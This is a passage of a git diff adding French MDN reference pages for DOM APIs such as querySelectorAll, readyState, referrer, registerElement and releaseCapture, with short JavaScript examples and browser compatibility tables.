+<p><span id="result_box" lang="fr"><span>Les <em>sélecteurs</em> peuvent également être réellement puissants comme le montre l'exemple suivant.</span> <span>Ici, le premier élément <code>&lt;input name="identifiant"/&gt;</code> dans un <code>&lt;div class="panneau-utilisateur principal"&gt;</code> dans le document est retourné :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> el <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"div.panneau-utilisateur.principal input[name='</span></code><span id="result_box" lang="fr"><span><code>identifiant</code></span></span><code class="language-js"><span class="string token">']"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>machin</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>10.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs">Localisation des éléments DOM avec les sélecteurs</a></li>
+ <li>{{domxref("document.querySelectorAll()")}} ;</li>
+ <li>{{domxref("element.querySelector()")}} ;</li>
+ <li>{{domxref("element.querySelectorAll()")}} ;</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Archive/Add-ons/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Extraits de code pour <code>querySelector</code></a></li>
+</ul>
diff --git a/files/fr/web/api/document/queryselectorall/index.html b/files/fr/web/api/document/queryselectorall/index.html
new file mode 100644
index 0000000000..b9c36f07e7
--- /dev/null
+++ b/files/fr/web/api/document/queryselectorall/index.html
@@ -0,0 +1,232 @@
+---
+title: Document.querySelectorAll()
+slug: Web/API/Document/querySelectorAll
+tags:
+  - API
+  - DOM
+  - Document
+  - Méthodes
+  - Sélecteurs
+translation_of: Web/API/Document/querySelectorAll
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>querySelectorAll()</strong></code>  de {{domxref("Element")}} renvoie une {{domxref("NodeList")}} statique représentant une liste des éléments du document qui correspondent au groupe de sélecteurs spécifiés.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode est implémentée à partir de {{domxref("ParentNode")}}, méthode  du mixin {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} .</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js">elements = document.querySelectorAll(selecteurs);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>selecteurs</code></dt>
+ <dd>une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) qui contient un ou plusieurs <a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS">sélecteurs CSS</a> ; s'il n'y en a pas, une exception  <code>SyntaxError</code> est lancée. Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs">localisation des éléments DOM avec les sélecteurs</a> pour plus d'informations sur l'utilisation des sélecteurs en vue d'identifier les éléments. Plusieurs sélecteurs peuvent être spécifiés, séparés par une virgule.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note : </strong>Les caractères qui ne font pas partie de la syntaxe CSS standard doivent être échappés à l'aide d'une barre oblique inverse. Puisque JavaScript utilise également l'échappement en retour arrière, un soin particulier doit être pris lors de l'écriture de littéraux de chaîne utilisant ces caractères. Voir {{anch ("Echapper des caractères spéciaux")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>Une {{domxref("NodeList")}} statique contenant un objet {{domxref("Element")}} pour chaque élément qui correspond à au-moins un des sélecteurs spécifiés ou une {{domxref("NodeList")}} vide si aucune correspondance n'est trouvée .</p>
+
+<div class="note">
+<p><strong>Note : </strong> si les <code><em>selectors</em></code> spécifiés contiennent un <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Pseudo-elements">pseudo-element CSS</a>, la liste retournée sera toujours vide.</p>
+</div>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>la syntaxe des chaînes <code>selectors</code> spécifiés n'est pas valide.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<p>Pour obtenir une {{domxref("NodeList")}} (<em>liste de noeuds</em>) de tous les éléments {{HTMLElement("p")}}  dans le document :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> matches <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Cet exemple renvoie la liste de tous les éléments <code>div</code> du <code>document</code> dont l'attribut de classe a pour valeur "<code>note</code>" ou "<code>alert</code>" :</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert");
+</pre>
+
+<p>Ici, nous obtenons une liste des éléments <code>&lt;p&gt;</code> dont l'élément parent immédiat est un {{domxref("div")}} avec la classe <code>"highlighted"</code> et qui sont situés dans un conteneur dont l'identifiant est <code>"test"</code>.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> container <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"#test"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> matches <span class="operator token">=</span> container<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"div.highlighted &gt; p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Cet exemple utilise un <a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut">sélecteur d'attribut</a> pour renvoyer une liste d'éléments {{domxref("iframe")}} dans le document qui contient un attribut nommé <code>"data-src"</code> :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> matches <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"iframe[data-src]"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Ici, un sélecteur d'attribut est utilisé pour renvoyer une liste d'éléments de liste contenus dans une liste dont l'identifiant est <code>"userlist"</code> lequel a un attribut <code>"data-active"</code> dont la valeur est <code>"1"</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> container <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"#userlist"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> matches <span class="operator token">=</span> container<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"li[data-active=1]"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Accès_aux_correspondances">Accès aux correspondances</h3>
+
+<p>Une fois que la {{domxref("NodeList")}} des éléments correspondants est renvoyée, vous pouvez l'examiner comme un tableau (<em>array</em>). Si le tableau est vide (c'est quand sa propriété <code>length</code> est 0), alors aucune correspondance n'a été trouvée.</p>
+
+<p>Sinon, vous pouvez simplement utiliser la notation de tableau standard pour accéder au contenu de la liste. Vous pouvez utiliser n'importe quelle instruction de boucle commune, telle que :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> highlightedItems <span class="operator token">=</span> userList<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">".highlighted"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+highlightedItems<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>userItem<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">deleteUser</span><span class="punctuation token">(</span>userItem<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes d'utilisation</h2>
+
+<p><code>querySelectorAll()</code> se comporte différemment des bibliothèques DOM JavaScript les plus courantes, ce qui peut entraîner des résultats inattendus.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Considérez ce HTML, avec ses trois blocs {{HTMLElement("div")}} imbriqués.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>outer<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>select<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>inner<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> select <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.select'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> inner <span class="operator token">=</span> select<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">'.outer .inner'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+inner<span class="punctuation token">.</span>length<span class="punctuation token">;</span> <span class="comment token">// 1, pas 0!</span></code></pre>
+
+<p>Dans cet exemple, lors de la sélection de <code>".outer .inner"</code> dans le contexte, le <code>&lt;div&gt;</code> avec la classe <code>"select"</code>, l'élément avec la classe <code>".inner"</code> est toujours trouvé, même si <code>.outer</code> n'est pas un descendant de l'élément de base sur lequel la recherche <code>(".select")</code> est effectuée. Par défaut, <code>querySelectorAll()</code> vérifie uniquement que le dernier élément du sélecteur se trouve dans la portée de la recherche.</p>
+
+<p>La pseudo-classe {{cssxref (":scope")}} restaure le comportement attendu, ne faisant correspondre les sélecteurs que sur les descendants de l'élément de base :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> select <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.select'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> inner <span class="operator token">=</span> select<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">':scope .outer .inner'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+inner<span class="punctuation token">.</span>length<span class="punctuation token">;</span> <span class="comment token">// 0</span></code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Norme actuelle</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Définition originale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8</td>
+   <td>10</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>:scope</code> pseudo-class</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>32</td>
+   <td>{{CompatNo}}</td>
+   <td>15<sup>[1]</sup></td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>:scope</code> pseudo-class</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>32</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pris en charge dans Opera 15+ en activant les marques "<strong>Enable &lt;style scoped&gt;</strong>" ou "<strong>Enable experimental Web Platform features</strong>" dans <code>chrome://flags</code>.</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs">Localisation des éléments DOM avec les sélecteurs</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut">Sélecteurs d'attribut</a> dans le guide CSS</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Sélecteurs d'attribut</a> dans la zone d'apprentissage de MDN</li>
+ <li>{{domxref("Element.querySelectorAll")}} et {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("document.querySelector")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} et {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Extraits de code pour <code>querySelector</code></a></li>
+</ul>
diff --git a/files/fr/web/api/document/readystate/index.html b/files/fr/web/api/document/readystate/index.html
new file mode 100644
index 0000000000..57f7b28538
--- /dev/null
+++ b/files/fr/web/api/document/readystate/index.html
@@ -0,0 +1,131 @@
+---
+title: Document.readyState
+slug: Web/API/Document/readyState
+tags:
+  - API
+  - DOM
+  - HTML
+  - Référence(2)
+translation_of: Web/API/Document/readyState
+---
+<div>{{APIRef("DOM")}} {{ gecko_minversion_header("1.9.2") }}</div>
+
+<p>La valeur <strong>Document.readyState</strong> est une propriété de {{ domxref("document") }} qui décrit l'état de chargement du document.</p>
+
+<p>À chaque évolution de la valeur, un évenement {{event("readystatechange")}} est émis dans l'objet {{ domxref("document") }}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <var>string</var> = <var>document</var>.readyState;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La variable <code>readyState</code><strong> </strong>peut valoir :</p>
+
+<dl>
+ <dt><code><strong>loading</strong></code></dt>
+ <dd>Le {{ domxref("document") }} est encore en chargement.</dd>
+ <dt><code><strong>interactive</strong></code></dt>
+ <dd>Le document a été chargé, mais les ressources (images, scripts, css..) sont encore en cours d'acquisition. En revanche la structure DOM est générée, et {{event("DOMContentLoaded")}} a été émis.</dd>
+ <dt><code><strong>complete</strong></code></dt>
+ <dd>Le document et toutes les sous-ressources ont été chargés, et {{event("load")}} a été émis.</dd>
+</dl>
+
+<h2 id="Exemples"><span>Exemples</span></h2>
+
+<h3 id="Différents_états_de_chargement">Différents états de chargement</h3>
+
+<pre class="brush: js notranslate"><span>switch (document.readyState) {
+  case "loading":
+    // Encore en chargement.
+    break;
+  case "interactive":
+    // Le DOM est construit, on peut y accéder.
+    var span = document.createElement("span");
+    span.textContent = "A &lt;span&gt; element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // La page est pleinement chargée.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}</span>
+</pre>
+
+<h3 id="readystatechange_comme_alternative_à_DOMContentLoaded">readystatechange comme alternative à  DOMContentLoaded</h3>
+
+<pre class="brush:js notranslate">// alternative à DOMContentLoaded
+document.onreadystatechange = function () {
+  if (document.readyState == "interactive") {
+    initApplication();
+  }
+}</pre>
+
+<h3 id="readystatechange_comme_alternative_à_load">readystatechange comme alternative à load</h3>
+
+<pre class="brush: js notranslate">// alternative à load
+document.onreadystatechange = function () {
+  if (document.readyState == "complete") {
+    initApplication();
+  }
+}</pre>
+
+<h3 id="readystatechange_comme_event_listener_pour_insérer_ou_modifier_le_DOM_avant_DOMContentLoaded">readystatechange comme event listener pour insérer ou modifier le DOM avant DOMContentLoaded</h3>
+
+<pre class="brush: js notranslate">// Modification du document &lt;body&gt; dès que possible en utilisant un script externe
+var bootstrap = function(evt){
+  if (evt.target.readyState === "interactive") { initLoader(); }
+  else if (evt.target.readyState === "complete") { initApp(); }
+}
+document.addEventListener('readystatechange', bootstrap, false);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<div>{{Compat("api.Document.readyState")}}</div>
+
+<div id="compat-desktop"></div>
+
+<p>[1] Ne supporte que 'complete'. Opera Presto notifie 'complete' seulement après l'événement 'load' (dans un ordre incorrect par rapport à la spécification du standard HTML5).</p>
+
+<p>[2] Internet Explorer 9 et 10 ont des bogues quand l'état 'interactive' <a href="https://bugs.jquery.com/ticket/12282">peut être notifié trop tôt</a> avant que le document soit entièrement analysé.</p>
+
+<p>[3] À l'introduction dans IE 4, la propriété était seulement disponible pour les objets document, embed, img, link, object, script, et style. IE 5 a étendu le support à tous les objets élément HTML.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'événement {{event("readystatechange")}}</li>
+ <li>L'événement {{event("DOMContentLoaded")}}</li>
+ <li>L'événement {{event("load")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/referrer/index.html b/files/fr/web/api/document/referrer/index.html
new file mode 100644
index 0000000000..d8699ada15
--- /dev/null
+++ b/files/fr/web/api/document/referrer/index.html
@@ -0,0 +1,23 @@
+---
+title: Document.referrer
+slug: Web/API/Document/referrer
+tags:
+  - API
+  - HTML DOM
+  - Propriété
+  - Reference
+translation_of: Web/API/Document/referrer
+---
+<div>
+ {{APIRef}}</div>
+<h2 id="Syntax" name="Syntax">Résumé</h2>
+<p>Renvoie l'<a href="http://www.w3.org/Addressing/#background">URI</a> de la page de provenance.</p>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+<pre class="syntaxbox"><var>string</var> = document.referrer;
+</pre>
+<h2 id="Notes" name="Notes">Notes</h2>
+<p>La valeur est une chaîne de caractères vide si l'utilisateur est arrivé directement sur la page (pas grâce à un lien, mais, par exemple, via un marque-page). Étant donné que cette propriété ne retourne qu'une chaîne, elle ne vous donne pas un accès DOM à la page de provenance.</p>
+<h2 id="Specification" name="Specification">Spécification</h2>
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></li>
+</ul>
diff --git a/files/fr/web/api/document/registerelement/index.html b/files/fr/web/api/document/registerelement/index.html
new file mode 100644
index 0000000000..8f937a8180
--- /dev/null
+++ b/files/fr/web/api/document/registerelement/index.html
@@ -0,0 +1,115 @@
+---
+title: Document.registerElement()
+slug: Web/API/Document/registerElement
+tags:
+  - API
+  - Composants Web
+  - DOM
+  - Expérimental(2)
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/Document/registerElement
+---
+<p>{{APIRef("DOM")}} {{Deprecated_header}}</p>
+
+<div class="warning">
+<p><strong>Warning : </strong>document.registerElement() est déprécié en faveur de <a href="https://developer.mozilla.org/fr/docs/Web/API/CustomElementRegistry/define">customElements.define()</a>.</p>
+</div>
+
+<p>{{draft}}</p>
+
+<p>La méthode <code><strong>Document.registerElement()</strong></code> permet d'enregistrer un nouvel <a href="https://developer.mozilla.org/fr/docs/Web/Web_Components/Custom_Elements">élément personnalisé</a> dans le navigateur, et retourne un constructeur pour ce nouvel élément.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Il s'agit d'une technologie expérimentale. Le navigateur dans lequel vous l'utilisez doit être compatible avec les Composants Web. Voir <a href="https://developer.mozilla.org/fr/docs/Web/Web_Components#Activer_les_Web_Components_dans_Firefox">Activer les Composants Web dans Firefox</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>constructeur</em> = document.registerElement(<em>nom-tag</em>, <em>options</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>nom-tag</em></dt>
+ <dd>
+ <div class="syntaxbox">Le nom de l'élément personnalisé. Le nom doit contenir un tiret (-), par exemple <code>mon-tag</code>.</div>
+ </dd>
+ <dt><em>options {{optional_inline}}</em></dt>
+ <dd>Un objet définissant le prototype sur lequel se base l'élément personnalisé, ainsi qu'un tag existant à étendre.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voici un exemple très simple :</p>
+
+<pre class="brush: js">var Montag = document.registerElement('mon-tag');
+</pre>
+
+<p>Le nouveau tag est désormais enregistré dans le navigateur. La variable <code>Montag</code> contient un constructeur que vous pouvez utiliser pour créer des éléments <code>mon-tag</code> dans le document de la façon suivante :</p>
+
+<pre class="brush: js">document.body.appendChild(new Montag());</pre>
+
+<p>Ceci insert un élément <code>mon-tag</code> vide qui sera visible si vous utilisez les outils de développement du navigateur. Il ne sera pas visible si vous utilisez la fonction de visualisation de la source du navigateur. Et il ne sera pas visible dans le navigateur tant que vous n'aurez pas ajouter du contenu au tag. Ce qui suit est un exemple d'ajout de contenu au nouveau tag :</p>
+
+<pre class="brush: js">var montag = document.getElementsByTagName("mon-tag")[0];
+montag.textContent = "Je suis un élément mon-tag.";
+</pre>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>31<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>31<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Cette API est implantée mais doit être activée dans les préférences.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Web_Components/Custom_Elements">Éléments personnalisés</a></li>
+</ul>
diff --git a/files/fr/web/api/document/releasecapture/index.html b/files/fr/web/api/document/releasecapture/index.html
new file mode 100644
index 0000000000..8c2a9d5bc5
--- /dev/null
+++ b/files/fr/web/api/document/releasecapture/index.html
@@ -0,0 +1,38 @@
+---
+title: Document.releaseCapture()
+slug: Web/API/Document/releaseCapture
+tags:
+  - API
+  - Capture
+  - DOM
+  - Document
+  - Méthodes
+  - Souris
+translation_of: Web/API/Document/releaseCapture
+---
+<div>{{ ApiRef("DOM") }} {{gecko_minversion_header("2.0")}}</div>
+
+<div> </div>
+
+<p>Libère la capture de la souris si elle est actuellement activée (<em>bouton gauche enfoncé</em>) sur un élément de ce document. L'activation de la capture de la souris sur un élément se fait en appelant {{domxref("element.setCapture()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">document.releaseCapture()
+</pre>
+
+<p>Une fois la capture de la souris relâchée, les événements de souris ne seront plus dirigés vers l'élément sur lequel la capture est activée.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Voir l'<a href="/en-US/docs/Web/API/element.setCapture#Example">exemple</a> pour {{domxref("element.setCapture()")}}.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Basé sur l'implémentation Internet Explorer.</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("element.setCapture()")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/scripts/index.html b/files/fr/web/api/document/scripts/index.html
new file mode 100644
index 0000000000..1e7fe75f40
--- /dev/null
+++ b/files/fr/web/api/document/scripts/index.html
@@ -0,0 +1,72 @@
+---
+title: Document.scripts
+slug: Web/API/Document/scripts
